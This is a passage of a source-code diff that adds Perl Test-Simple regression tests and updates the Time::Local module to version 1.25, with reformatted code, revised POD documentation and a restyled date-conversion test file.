+};
+
+pop @$events;
+
+
+for my $e (@$events) {
+ ok($e->trace->buffered, "Buffered events are all listed as buffered") || diag(Dumper($e));
+}
+
+done_testing;
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/builder_does_not_init.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/builder_does_not_init.t
new file mode 100644
index 00000000000..1f24ef29574
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/builder_does_not_init.t
@@ -0,0 +1,18 @@
+use strict;
+use warnings;
+
+use Carp qw/confess/;
+use Test2::API::Instance;
+
+BEGIN {
+ no warnings 'redefine';
+ local *Test2::API::Instance::_finalize = sub { confess "_finalize called\n" };
+ local *Test2::API::Instance::load = sub { confess "load called\n" };
+
+ require Test::Builder;
+}
+
+use Test2::Tools::Tiny;
+
+ok(1, "Did not die");
+done_testing();
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/errors_facet.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/errors_facet.t
new file mode 100644
index 00000000000..c4e30f995cc
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/errors_facet.t
@@ -0,0 +1,53 @@
+use Test2::Tools::Tiny;
+use Test2::API qw/intercept context/;
+
+{
+ $INC{'My/Event.pm'} = 1;
+
+ package My::Event;
+ use base 'Test2::Event';
+
+ use Test2::Util::Facets2Legacy ':ALL';
+
+ sub facet_data {
+ my $self = shift;
+
+ my $out = $self->common_facet_data;
+
+ $out->{errors} = [{tag => 'OOPS', fail => !$ENV{FAILURE_DO_PASS}, details => "An error occured"}];
+
+ return $out;
+ }
+}
+
+sub error {
+ my $ctx = context();
+ my $e = $ctx->send_event('+My::Event');
+ $ctx->release;
+ return $e;
+}
+
+my $events = intercept {
+ tests foo => sub {
+ ok(1, "need at least 1 assertion");
+ error();
+ };
+};
+
+ok(!$events->[0]->pass, "Subtest did not pass");
+
+my ($passing_a, $passing_b);
+intercept {
+ my $hub = Test2::API::test2_stack->top;
+
+ $passing_a = $hub->is_passing;
+
+ error();
+
+ $passing_b = $hub->is_passing;
+};
+
+ok($passing_a, "Passign before error");
+ok(!$passing_b, "Not passing after error");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/inherit_trace.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/inherit_trace.t
new file mode 100644
index 00000000000..4c1aa6cf966
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/inherit_trace.t
@@ -0,0 +1,33 @@
+use Test2::Tools::Tiny;
+use strict;
+use warnings;
+
+use Test2::API qw/context run_subtest intercept/;
+
+sub do_it {
+ my $ctx = context();
+
+ run_subtest foo => sub {
+ ok(1, "pass");
+ }, {inherit_trace => 1};
+
+ $ctx->release;
+}
+
+do_it();
+do_it();
+
+my $events = intercept {
+ do_it();
+ do_it();
+};
+
+for my $st (@$events) {
+ next unless $st->isa('Test2::Event::Subtest');
+
+ is($st->trace->nested, 0, "base subtest is not nested");
+
+ is($_->trace->nested, 1, "subevent is nested") for @{$st->subevents};
+}
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/no_name_in_subtest.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/no_name_in_subtest.t
new file mode 100644
index 00000000000..e332bb5abd8
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/no_name_in_subtest.t
@@ -0,0 +1,13 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+ok(1, "");
+
+tests foo => sub {
+ ok(1, "name");
+ ok(1, "");
+};
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/todo_and_facets.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/todo_and_facets.t
new file mode 100644
index 00000000000..28594b1a3e6
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/todo_and_facets.t
@@ -0,0 +1,52 @@
+use strict;
+use warnings;
+
+use Test2::API qw/context/;
+
+use Test2::Tools::Tiny qw/done_testing todo/;
+use Test::More();
+
+BEGIN {
+ *tm_ok = \&Test::More::ok;
+ *tm_pass = \&Test::More::pass;
+ *tm_fail = \&Test::More::fail;
+}
+
+use vars qw/$TODO/;
+
+sub leg_ok($;$@) {
+ my ($bool, $name, @diag);
+ my $ctx = context();
+ $ctx->ok($bool, $name, \@diag);
+ $ctx->release;
+
+ return $bool;
+}
+
+sub new_ok($;$@) {
+ my ($bool, $name, @diag) = @_;
+ my $ctx = context();
+
+ return $ctx->pass_and_release($name) if $bool;
+ return $ctx->fail_and_release($name, @diag);
+}
+
+{
+ local $TODO = "Testing TODO";
+
+ tm_ok(0, "tm_ok fail");
+ tm_fail('tm_fail');
+
+ leg_ok(0, "legacy ok fail");
+ new_ok(0, "new ok fail");
+}
+
+todo new_todo_test => sub {
+ tm_ok(0, "tm_ok fail");
+ tm_fail('tm_fail');
+
+ leg_ok(0, "legacy ok fail");
+ new_ok(0, "new ok fail");
+};
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Time-Local/lib/Time/Local.pm b/gnu/usr.bin/perl/cpan/Time-Local/lib/Time/Local.pm
index ecdedef3dd8..65d7d588458 100644
--- a/gnu/usr.bin/perl/cpan/Time-Local/lib/Time/Local.pm
+++ b/gnu/usr.bin/perl/cpan/Time-Local/lib/Time/Local.pm
@@ -1,16 +1,16 @@
package Time::Local;
-require Exporter;
-use Carp;
-use Config;
use strict;
-use vars qw( $VERSION @ISA @EXPORT @EXPORT_OK );
-$VERSION = '1.2300';
+use Carp ();
+use Exporter;
-@ISA = qw( Exporter );
-@EXPORT = qw( timegm timelocal );
-@EXPORT_OK = qw( timegm_nocheck timelocal_nocheck );
+our $VERSION = '1.25';
+
+use parent 'Exporter';
+
+our @EXPORT = qw( timegm timelocal );
+our @EXPORT_OK = qw( timegm_nocheck timelocal_nocheck );
my @MonthDays = ( 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 );
@@ -29,36 +29,44 @@ use constant SECS_PER_HOUR => 3600;
use constant SECS_PER_DAY => 86400;
my $MaxDay;
-if ($] < 5.012000) {
+if ( $] < 5.012000 ) {
+ require Config;
+ ## no critic (Variables::ProhibitPackageVars)
+
my $MaxInt;
if ( $^O eq 'MacOS' ) {
+
# time_t is unsigned...
- $MaxInt = ( 1 << ( 8 * $Config{ivsize} ) ) - 1;
+ $MaxInt = ( 1 << ( 8 * $Config::Config{ivsize} ) )
+ - 1; ## no critic qw(ProhibitPackageVars)
}
else {
- $MaxInt = ( ( 1 << ( 8 * $Config{ivsize} - 2 ) ) - 1 ) * 2 + 1;
+ $MaxInt
+ = ( ( 1 << ( 8 * $Config::Config{ivsize} - 2 ) ) - 1 ) * 2
+ + 1; ## no critic qw(ProhibitPackageVars)
}
$MaxDay = int( ( $MaxInt - ( SECS_PER_DAY / 2 ) ) / SECS_PER_DAY ) - 1;
}
else {
# recent localtime()'s limit is the year 2**31
- $MaxDay = 365 * (2**31);
+ $MaxDay = 365 * ( 2**31 );
}
# Determine the EPOC day for this machine
my $Epoc = 0;
if ( $^O eq 'vos' ) {
+
# work around posix-977 -- VOS doesn't handle dates in the range
# 1970-1980.
$Epoc = _daygm( 0, 0, 0, 1, 0, 70, 4, 0 );
}
elsif ( $^O eq 'MacOS' ) {
- $MaxDay *=2 if $^O eq 'MacOS'; # time_t unsigned ... quick hack?
- # MacOS time() is seconds since 1 Jan 1904, localtime
- # so we need to calculate an offset to apply later
- $Epoc = 693901;
- $SecOff = timelocal( localtime(0)) - timelocal( gmtime(0) ) ;
+ $MaxDay *= 2 if $^O eq 'MacOS'; # time_t unsigned ... quick hack?
+ # MacOS time() is seconds since 1 Jan 1904, localtime
+ # so we need to calculate an offset to apply later
+ $Epoc = 693901;
+ $SecOff = timelocal( localtime(0) ) - timelocal( gmtime(0) );
$Epoc += _daygm( gmtime(0) );
}
else {
@@ -74,22 +82,22 @@ sub _daygm {
return $_[3] + (
$Cheat{ pack( 'ss', @_[ 4, 5 ] ) } ||= do {
my $month = ( $_[4] + 10 ) % 12;
- my $year = $_[5] + 1900 - int($month / 10);
+ my $year = $_[5] + 1900 - int( $month / 10 );
( ( 365 * $year )
- + int( $year / 4 )
- - int( $year / 100 )
- + int( $year / 400 )
- + int( ( ( $month * 306 ) + 5 ) / 10 )
- )
- - $Epoc;
- }
+ + int( $year / 4 )
+ - int( $year / 100 )
+ + int( $year / 400 )
+ + int( ( ( $month * 306 ) + 5 ) / 10 ) ) - $Epoc;
+ }
);
}
sub _timegm {
- my $sec =
- $SecOff + $_[0] + ( SECS_PER_MINUTE * $_[1] ) + ( SECS_PER_HOUR * $_[2] );
+ my $sec
+ = $SecOff + $_[0]
+ + ( SECS_PER_MINUTE * $_[1] )
+ + ( SECS_PER_HOUR * $_[2] );
return $sec + ( SECS_PER_DAY * &_daygm );
}
@@ -105,37 +113,42 @@ sub timegm {
}
unless ( $Options{no_range_check} ) {
- croak "Month '$month' out of range 0..11"
+ Carp::croak("Month '$month' out of range 0..11")
if $month > 11
or $month < 0;
- my $md = $MonthDays[$month];
+ my $md = $MonthDays[$month];
++$md
if $month == 1 && _is_leap_year( $year + 1900 );
- croak "Day '$mday' out of range 1..$md" if $mday > $md or $mday < 1;
- croak "Hour '$hour' out of range 0..23" if $hour > 23 or $hour < 0;
- croak "Minute '$min' out of range 0..59" if $min > 59 or $min < 0;
- croak "Second '$sec' out of range 0..59" if $sec >= 60 or $sec < 0;
+ Carp::croak("Day '$mday' out of range 1..$md")
+ if $mday > $md or $mday < 1;
+ Carp::croak("Hour '$hour' out of range 0..23")
+ if $hour > 23 or $hour < 0;
+ Carp::croak("Minute '$min' out of range 0..59")
+ if $min > 59 or $min < 0;
+ Carp::croak("Second '$sec' out of range 0..59")
+ if $sec >= 60 or $sec < 0;
}
my $days = _daygm( undef, undef, undef, $mday, $month, $year );
- unless ($Options{no_range_check} or abs($days) < $MaxDay) {
- my $msg = '';
+ unless ( $Options{no_range_check} or abs($days) < $MaxDay ) {
+ my $msg = q{};
$msg .= "Day too big - $days > $MaxDay\n" if $days > $MaxDay;
$year += 1900;
- $msg .= "Cannot handle date ($sec, $min, $hour, $mday, $month, $year)";
+ $msg
+ .= "Cannot handle date ($sec, $min, $hour, $mday, $month, $year)";
- croak $msg;
+ Carp::croak($msg);
}
- return $sec
- + $SecOff
- + ( SECS_PER_MINUTE * $min )
- + ( SECS_PER_HOUR * $hour )
- + ( SECS_PER_DAY * $days );
+ return
+ $sec + $SecOff
+ + ( SECS_PER_MINUTE * $min )
+ + ( SECS_PER_HOUR * $hour )
+ + ( SECS_PER_DAY * $days );
}
sub _is_leap_year {
@@ -152,7 +165,7 @@ sub timegm_nocheck {
}
sub timelocal {
- my $ref_t = &timegm;
+ my $ref_t = &timegm;
my $loc_for_ref_t = _timegm( localtime($ref_t) );
my $zone_off = $loc_for_ref_t - $ref_t
@@ -167,9 +180,11 @@ sub timelocal {
# If this evaluates to true, it means that the value in $loc_t is
# the _second_ hour after a DST change where the local time moves
# backward.
- if ( ! $dst_off &&
- ( ( $ref_t - SECS_PER_HOUR ) - _timegm( localtime( $loc_t - SECS_PER_HOUR ) ) < 0 )
- ) {
+ if (
+ !$dst_off
+ && ( ( $ref_t - SECS_PER_HOUR )
+ - _timegm( localtime( $loc_t - SECS_PER_HOUR ) ) < 0 )
+ ) {
return $loc_t - SECS_PER_HOUR;
}
@@ -193,47 +208,56 @@ sub timelocal_nocheck {
1;
+# ABSTRACT: Efficiently compute time from local and GMT time
+
__END__
+=pod
+
+=encoding UTF-8
+
=head1 NAME
-Time::Local - efficiently compute time from local and GMT time
+Time::Local - Efficiently compute time from local and GMT time
+
+=head1 VERSION
+
+version 1.25
=head1 SYNOPSIS
- $time = timelocal( $sec, $min, $hour, $mday, $mon, $year );
- $time = timegm( $sec, $min, $hour, $mday, $mon, $year );
+ use Time::Local;
+
+ my $time = timelocal( $sec, $min, $hour, $mday, $mon, $year );
+ my $time = timegm( $sec, $min, $hour, $mday, $mon, $year );
=head1 DESCRIPTION
-This module provides functions that are the inverse of built-in perl
-functions C<localtime()> and C<gmtime()>. They accept a date as a
-six-element array, and return the corresponding C<time(2)> value in
-seconds since the system epoch (Midnight, January 1, 1970 GMT on Unix,
-for example). This value can be positive or negative, though POSIX
-only requires support for positive values, so dates before the
-system's epoch may not work on all operating systems.
+This module provides functions that are the inverse of built-in perl functions
+C<localtime()> and C<gmtime()>. They accept a date as a six-element array, and
+return the corresponding C<time(2)> value in seconds since the system epoch
+(Midnight, January 1, 1970 GMT on Unix, for example). This value can be
+positive or negative, though POSIX only requires support for positive values,
+so dates before the system's epoch may not work on all operating systems.
-It is worth drawing particular attention to the expected ranges for
-the values provided. The value for the day of the month is the actual
-day (ie 1..31), while the month is the number of months since January
-(0..11). This is consistent with the values returned from
-C<localtime()> and C<gmtime()>.
+It is worth drawing particular attention to the expected ranges for the values
+provided. The value for the day of the month is the actual day (i.e. 1..31),
+while the month is the number of months since January (0..11). This is
+consistent with the values returned from C<localtime()> and C<gmtime()>.
=head1 FUNCTIONS
=head2 C<timelocal()> and C<timegm()>
-This module exports two functions by default, C<timelocal()> and
-C<timegm()>.
+This module exports two functions by default, C<timelocal()> and C<timegm()>.
-The C<timelocal()> and C<timegm()> functions perform range checking on
-the input $sec, $min, $hour, $mday, and $mon values by default.
+The C<timelocal()> and C<timegm()> functions perform range checking on the
+input $sec, $min, $hour, $mday, and $mon values by default.
=head2 C<timelocal_nocheck()> and C<timegm_nocheck()>
-If you are working with data you know to be valid, you can speed your
-code up by using the "nocheck" variants, C<timelocal_nocheck()> and
+If you are working with data you know to be valid, you can speed your code up
+by using the "nocheck" variants, C<timelocal_nocheck()> and
C<timegm_nocheck()>. These variants must be explicitly imported.
use Time::Local 'timelocal_nocheck';
@@ -241,144 +265,155 @@ C<timegm_nocheck()>. These variants must be explicitly imported.
# The 365th day of 1999
print scalar localtime timelocal_nocheck( 0, 0, 0, 365, 0, 99 );
-If you supply data which is not valid (month 27, second 1,000) the
-results will be unpredictable (so don't do that).
+If you supply data which is not valid (month 27, second 1,000) the results
+will be unpredictable (so don't do that).
=head2 Year Value Interpretation
-Strictly speaking, the year should be specified in a form consistent
-with C<localtime()>, i.e. the offset from 1900. In order to make the
-interpretation of the year easier for humans, however, who are more
-accustomed to seeing years as two-digit or four-digit values, the
-following conventions are followed:
+Strictly speaking, the year should be specified in a form consistent with
+C<localtime()>, i.e. the offset from 1900. In order to make the interpretation
+of the year easier for humans, however, who are more accustomed to seeing
+years as two-digit or four-digit values, the following conventions are
+followed:
=over 4
=item *
-Years greater than 999 are interpreted as being the actual year,
-rather than the offset from 1900. Thus, 1964 would indicate the year
-Martin Luther King won the Nobel prize, not the year 3864.
+Years greater than 999 are interpreted as being the actual year, rather than
+the offset from 1900. Thus, 1964 would indicate the year Martin Luther King
+won the Nobel prize, not the year 3864.
=item *
-Years in the range 100..999 are interpreted as offset from 1900, so
-that 112 indicates 2012. This rule also applies to years less than
-zero (but see note below regarding date range).
+Years in the range 100..999 are interpreted as offset from 1900, so that 112
+indicates 2012. This rule also applies to years less than zero (but see note
+below regarding date range).
=item *
-Years in the range 0..99 are interpreted as shorthand for years in the
-rolling "current century," defined as 50 years on either side of the
-current year. Thus, today, in 1999, 0 would refer to 2000, and 45 to
-2045, but 55 would refer to 1955. Twenty years from now, 55 would
-instead refer to 2055. This is messy, but matches the way people
-currently think about two digit dates. Whenever possible, use an
-absolute four digit year instead.
+Years in the range 0..99 are interpreted as shorthand for years in the rolling
+"current century," defined as 50 years on either side of the current
+year. Thus, today, in 1999, 0 would refer to 2000, and 45 to 2045, but 55
+would refer to 1955. Twenty years from now, 55 would instead refer to
+2055. This is messy, but matches the way people currently think about two
+digit dates. Whenever possible, use an absolute four digit year instead.
=back
-The scheme above allows interpretation of a wide range of dates,
-particularly if 4-digit years are used.
+The scheme above allows interpretation of a wide range of dates, particularly
+if 4-digit years are used.
=head2 Limits of time_t
-On perl versions older than 5.12.0, the range of dates that can be
-actually be handled depends on the size of C<time_t> (usually a signed
-integer) on the given platform. Currently, this is 32 bits for most
-systems, yielding an approximate range from Dec 1901 to Jan 2038.
+On perl versions older than 5.12.0, the range of dates that can be actually be
+handled depends on the size of C<time_t> (usually a signed integer) on the
+given platform. Currently, this is 32 bits for most systems, yielding an
+approximate range from Dec 1901 to Jan 2038.
-Both C<timelocal()> and C<timegm()> croak if given dates outside the
-supported range.
+Both C<timelocal()> and C<timegm()> croak if given dates outside the supported
+range.
-As of version 5.12.0, perl has stopped using the underlying time
-library of the operating system it's running on and has its own
-implementation of those routines with a safe range of at least
-+/ 2**52 (about 142 million years).
+As of version 5.12.0, perl has stopped using the underlying time library of
+the operating system it's running on and has its own implementation of those
+routines with a safe range of at least +/ 2**52 (about 142 million years).
=head2 Ambiguous Local Times (DST)
-Because of DST changes, there are many time zones where the same local
-time occurs for two different GMT times on the same day. For example,
-in the "Europe/Paris" time zone, the local time of 2001-10-28 02:30:00
-can represent either 2001-10-28 00:30:00 GMT, B<or> 2001-10-28
-01:30:00 GMT.
+Because of DST changes, there are many time zones where the same local time
+occurs for two different GMT times on the same day. For example, in the
+"Europe/Paris" time zone, the local time of 2001-10-28 02:30:00 can represent
+either 2001-10-28 00:30:00 GMT, B<or> 2001-10-28 01:30:00 GMT.
-When given an ambiguous local time, the timelocal() function should
-always return the epoch for the I<earlier> of the two possible GMT
-times.
+When given an ambiguous local time, the timelocal() function should always
+return the epoch for the I<earlier> of the two possible GMT times.
=head2 Non-Existent Local Times (DST)
-When a DST change causes a locale clock to skip one hour forward,
-there will be an hour's worth of local times that don't exist. Again,
-for the "Europe/Paris" time zone, the local clock jumped from
-2001-03-25 01:59:59 to 2001-03-25 03:00:00.
+When a DST change causes a locale clock to skip one hour forward, there will
+be an hour's worth of local times that don't exist. Again, for the
+"Europe/Paris" time zone, the local clock jumped from 2001-03-25 01:59:59 to
+2001-03-25 03:00:00.
-If the C<timelocal()> function is given a non-existent local time, it
-will simply return an epoch value for the time one hour later.
+If the C<timelocal()> function is given a non-existent local time, it will
+simply return an epoch value for the time one hour later.
=head2 Negative Epoch Values
-On perl version 5.12.0 and newer, negative epoch values are fully
-supported.
+On perl version 5.12.0 and newer, negative epoch values are fully supported.
-On older versions of perl, negative epoch (C<time_t>) values, which
-are not officially supported by the POSIX standards, are known not to
-work on some systems. These include MacOS (pre-OSX) and Win32.
+On older versions of perl, negative epoch (C<time_t>) values, which are not
+officially supported by the POSIX standards, are known not to work on some
+systems. These include MacOS (pre-OSX) and Win32.
-On systems which do support negative epoch values, this module should
-be able to cope with dates before the start of the epoch, down the
-minimum value of time_t for the system.
+On systems which do support negative epoch values, this module should be able
+to cope with dates before the start of the epoch, down the minimum value of
+time_t for the system.
=head1 IMPLEMENTATION
-These routines are quite efficient and yet are always guaranteed to
-agree with C<localtime()> and C<gmtime()>. We manage this by caching
-the start times of any months we've seen before. If we know the start
-time of the month, we can always calculate any time within the month.
-The start times are calculated using a mathematical formula. Unlike
-other algorithms that do multiple calls to C<gmtime()>.
+These routines are quite efficient and yet are always guaranteed to agree with
+C<localtime()> and C<gmtime()>. We manage this by caching the start times of
+any months we've seen before. If we know the start time of the month, we can
+always calculate any time within the month. The start times are calculated
+using a mathematical formula. Unlike other algorithms that do multiple calls
+to C<gmtime()>.
-The C<timelocal()> function is implemented using the same cache. We
-just assume that we're translating a GMT time, and then fudge it when
-we're done for the timezone and daylight savings arguments. Note that
-the timezone is evaluated for each date because countries occasionally
-change their official timezones. Assuming that C<localtime()> corrects
-for these changes, this routine will also be correct.
+The C<timelocal()> function is implemented using the same cache. We just
+assume that we're translating a GMT time, and then fudge it when we're done
+for the timezone and daylight savings arguments. Note that the timezone is
+evaluated for each date because countries occasionally change their official
+timezones. Assuming that C<localtime()> corrects for these changes, this
+routine will also be correct.
-=head1 BUGS
+=head1 AUTHORS EMERITUS
-The whole scheme for interpreting two-digit years can be considered a
-bug.
+This module is based on a Perl 4 library, timelocal.pl, that was
+included with Perl 4.036, and was most likely written by Tom
+Christiansen.
-=head1 SUPPORT
+The current version was written by Graham Barr.
-Support for this module is provided via the datetime@perl.org email
-list. See http://lists.perl.org/ for more details.
+=head1 BUGS
-Please submit bugs to the CPAN RT system at
-http://rt.cpan.org/NoAuth/ReportBug.html?Queue=Time-Local or via email
-at bug-time-local@rt.cpan.org.
+The whole scheme for interpreting two-digit years can be considered a bug.
-=head1 COPYRIGHT
+Bugs may be submitted through L<https://github.com/houseabsolute/Time-Local/issues>.
-Copyright (c) 1997-2003 Graham Barr, 2003-2007 David Rolsky. All
-rights reserved. This program is free software; you can redistribute
-it and/or modify it under the same terms as Perl itself.
+There is a mailing list available for users of this distribution,
+L<mailto:datetime@perl.org>.
-The full text of the license can be found in the LICENSE file included
-with this module.
+I am also usually active on IRC as 'autarch' on C<irc://irc.perl.org>.
=head1 AUTHOR
-This module is based on a Perl 4 library, timelocal.pl, that was
-included with Perl 4.036, and was most likely written by Tom
-Christiansen.
+Dave Rolsky <autarch@urth.org>
-The current version was written by Graham Barr.
+=head1 CONTRIBUTORS
+
+=for stopwords Florian Ragwitz J. Nick Koston Unknown
+
+=over 4
+
+=item *
+
+Florian Ragwitz <rafl@debian.org>
+
+=item *
+
+J. Nick Koston <nick@cpanel.net>
+
+=item *
+
+Unknown <unknown@example.com>
+
+=back
+
+=head1 COPYRIGHT AND LICENSE
+
+This software is copyright (c) 1997 - 2016 by Graham Barr & Dave Rolsky.
-It is now being maintained separately from the Perl core by Dave
-Rolsky, <autarch@urth.org>.
+This is free software; you can redistribute it and/or modify it under
+the same terms as the Perl 5 programming language system itself.
=cut
diff --git a/gnu/usr.bin/perl/cpan/Time-Local/t/Local.t b/gnu/usr.bin/perl/cpan/Time-Local/t/Local.t
index 472e71a2df9..634139695f4 100644
--- a/gnu/usr.bin/perl/cpan/Time-Local/t/Local.t
+++ b/gnu/usr.bin/perl/cpan/Time-Local/t/Local.t
@@ -8,141 +8,152 @@ use Test::More 0.88;
use Time::Local;
# Set up time values to test
-my @time =
- (
- #year,mon,day,hour,min,sec
- [1970, 1, 2, 00, 00, 00],
- [1980, 2, 28, 12, 00, 00],
- [1980, 2, 29, 12, 00, 00],
- [1999, 12, 31, 23, 59, 59],
- [2000, 1, 1, 00, 00, 00],
- [2010, 10, 12, 14, 13, 12],
- # leap day
- [2020, 2, 29, 12, 59, 59],
- [2030, 7, 4, 17, 07, 06],
-
-# The following test fails on a surprising number of systems
-# so it is commented out. The end of the Epoch for a 32-bit signed
-# implementation of time_t should be Jan 19, 2038 03:14:07 UTC.
-# [2038, 1, 17, 23, 59, 59], # last full day in any tz
-
- [2010, 10, 12, 14, 13, 12.1],
- [2010, 10, 12, 14, 13, 59.1],
- );
+my @time = (
+
+ #year,mon,day,hour,min,sec
+ [ 1970, 1, 2, 0, 0, 0 ],
+ [ 1980, 2, 28, 12, 0, 0 ],
+ [ 1980, 2, 29, 12, 0, 0 ],
+ [ 1999, 12, 31, 23, 59, 59 ],
+ [ 2000, 1, 1, 0, 0, 0 ],
+ [ 2010, 10, 12, 14, 13, 12 ],
+
+ # leap day
+ [ 2020, 2, 29, 12, 59, 59 ],
+ [ 2030, 7, 4, 17, 7, 6 ],
+
+ # The following test fails on a surprising number of systems
+ # so it is commented out. The end of the Epoch for a 32-bit signed
+ # implementation of time_t should be Jan 19, 2038 03:14:07 UTC.
+ # [2038, 1, 17, 23, 59, 59], # last full day in any tz
+
+ [ 2010, 10, 12, 14, 13, 12.1 ],
+ [ 2010, 10, 12, 14, 13, 59.1 ],
+);
# more than 2**31 time_t - requires a 64bit safe localtime/gmtime
-push @time, [2258, 8, 11, 1, 49, 17]
+push @time, [ 2258, 8, 11, 1, 49, 17 ]
if $] >= 5.012000;
-my @bad_time =
- (
- # month too large
- [1995, 13, 01, 01, 01, 01],
- # day too large
- [1995, 02, 30, 01, 01, 01],
- # hour too large
- [1995, 02, 10, 25, 01, 01],
- # minute too large
- [1995, 02, 10, 01, 60, 01],
- # second too large
- [1995, 02, 10, 01, 01, 60],
- );
+my @bad_time = (
-my @neg_time =
- (
- # test negative epochs for systems that handle it
- [ 1969, 12, 31, 16, 59, 59 ],
- [ 1950, 04, 12, 9, 30, 31 ],
- );
+ # month too large
+ [ 1995, 13, 1, 1, 1, 1 ],
+
+ # day too large
+ [ 1995, 2, 30, 1, 1, 1 ],
+
+ # hour too large
+ [ 1995, 2, 10, 25, 1, 1 ],
+
+ # minute too large
+ [ 1995, 2, 10, 1, 60, 1 ],
+
+ # second too large
+ [ 1995, 2, 10, 1, 1, 60 ],
+);
+
+my @neg_time = (
+
+ # test negative epochs for systems that handle it
+ [ 1969, 12, 31, 16, 59, 59 ],
+ [ 1950, 4, 12, 9, 30, 31 ],
+);
# Leap year tests
-my @years =
- (
- [ 1900 => 0 ],
- [ 1947 => 0 ],
- [ 1996 => 1 ],
- [ 2000 => 1 ],
- [ 2100 => 0 ],
- );
+my @years = (
+ [ 1900 => 0 ],
+ [ 1947 => 0 ],
+ [ 1996 => 1 ],
+ [ 2000 => 1 ],
+ [ 2100 => 0 ],
+);
# Use 3 days before the start of the epoch because with Borland on
# Win32 it will work for -3600 _if_ your time zone is +01:00 (or
# greater).
-my $neg_epoch_ok = defined ((localtime(-259200))[0]) ? 1 : 0;
+my $neg_epoch_ok = defined( ( localtime(-259200) )[0] ) ? 1 : 0;
# use vmsish 'time' makes for oddness around the Unix epoch
-if ($^O eq 'VMS') {
+if ( $^O eq 'VMS' ) {
$time[0][2]++;
- $neg_epoch_ok = 0; # time_t is unsigned
+ $neg_epoch_ok = 0; # time_t is unsigned
}
-my $epoch_is_64 = eval { $Config{ivsize} == 8 && ( gmtime 2**40 )[5] == 34912 };
+my $epoch_is_64
+ = eval { $Config{ivsize} == 8 && ( gmtime 2**40 )[5] == 34912 };
-for (@time, @neg_time) {
- my($year, $mon, $mday, $hour, $min, $sec) = @$_;
+for ( @time, @neg_time ) {
+ my ( $year, $mon, $mday, $hour, $min, $sec ) = @$_;
$year -= 1900;
$mon--;
- SKIP: {
+SKIP: {
skip '1970 test on VOS fails.', 12
if $^O eq 'vos' && $year == 70;
skip 'this platform does not support negative epochs.', 12
- if $year < 70 && ! $neg_epoch_ok;
+ if $year < 70 && !$neg_epoch_ok;
# Test timelocal()
{
my $year_in = $year < 70 ? $year + 1900 : $year;
- my $time = timelocal($sec,$min,$hour,$mday,$mon,$year_in);
+ my $time = timelocal( $sec, $min, $hour, $mday, $mon, $year_in );
- my($s,$m,$h,$D,$M,$Y) = localtime($time);
+ my ( $s, $m, $h, $D, $M, $Y ) = localtime($time);
- is($s, int($sec), "timelocal second for @$_");
- is($m, $min, "timelocal minute for @$_");
- is($h, $hour, "timelocal hour for @$_");
- is($D, $mday, "timelocal day for @$_");
- is($M, $mon, "timelocal month for @$_");
- is($Y, $year, "timelocal year for @$_");
+ is( $s, int($sec), "timelocal second for @$_" );
+ is( $m, $min, "timelocal minute for @$_" );
+ is( $h, $hour, "timelocal hour for @$_" );
+ is( $D, $mday, "timelocal day for @$_" );
+ is( $M, $mon, "timelocal month for @$_" );
+ is( $Y, $year, "timelocal year for @$_" );
}
-
# Test timegm()
{
my $year_in = $year < 70 ? $year + 1900 : $year;
- my $time = timegm($sec,$min,$hour,$mday,$mon,$year_in);
+ my $time = timegm( $sec, $min, $hour, $mday, $mon, $year_in );
- my($s,$m,$h,$D,$M,$Y) = gmtime($time);
+ my ( $s, $m, $h, $D, $M, $Y ) = gmtime($time);
- is($s, int($sec), "timegm second for @$_");
- is($m, $min, "timegm minute for @$_");
- is($h, $hour, "timegm hour for @$_");
- is($D, $mday, "timegm day for @$_");
- is($M, $mon, "timegm month for @$_");
- is($Y, $year, "timegm year for @$_");
+ is( $s, int($sec), "timegm second for @$_" );
+ is( $m, $min, "timegm minute for @$_" );
+ is( $h, $hour, "timegm hour for @$_" );
+ is( $D, $mday, "timegm day for @$_" );
+ is( $M, $mon, "timegm month for @$_" );
+ is( $Y, $year, "timegm year for @$_" );
}
}
}
-
for (@bad_time) {
- my($year, $mon, $mday, $hour, $min, $sec) = @$_;
+ my ( $year, $mon, $mday, $hour, $min, $sec ) = @$_;
$year -= 1900;
$mon--;
- eval { timegm($sec,$min,$hour,$mday,$mon,$year) };
+ eval { timegm( $sec, $min, $hour, $mday, $mon, $year ) };
- like($@, qr/.*out of range.*/, 'invalid time caused an error');
+ like( $@, qr/.*out of range.*/, 'invalid time caused an error' );
}
{
- is(timelocal(0,0,1,1,0,90) - timelocal(0,0,0,1,0,90), 3600,
- 'one hour difference between two calls to timelocal');
+ is(
+ timelocal( 0, 0, 1, 1, 0, 90 ) - timelocal( 0, 0, 0, 1, 0, 90 ), 3600,
+ 'one hour difference between two calls to timelocal'
+ );
- is(timelocal(1,2,3,1,0,100) - timelocal(1,2,3,31,11,99), 24 * 3600,
- 'one day difference between two calls to timelocal');
+ is(
+ timelocal( 1, 2, 3, 1, 0, 100 ) - timelocal( 1, 2, 3, 31, 11, 99 ),
+ 24 * 3600,
+ 'one day difference between two calls to timelocal'
+ );
# Diff beween Jan 1, 1980 and Mar 1, 1980 = (31 + 29 = 60 days)
- is(timegm(0,0,0, 1, 2, 80) - timegm(0,0,0, 1, 0, 80), 60 * 24 * 3600,
- '60 day difference between two calls to timegm');
+ is(
+ timegm( 0, 0, 0, 1, 2, 80 ) - timegm( 0, 0, 0, 1, 0, 80 ),
+ 60 * 24 * 3600,
+ '60 day difference between two calls to timegm'
+ );
}
# bugid #19393
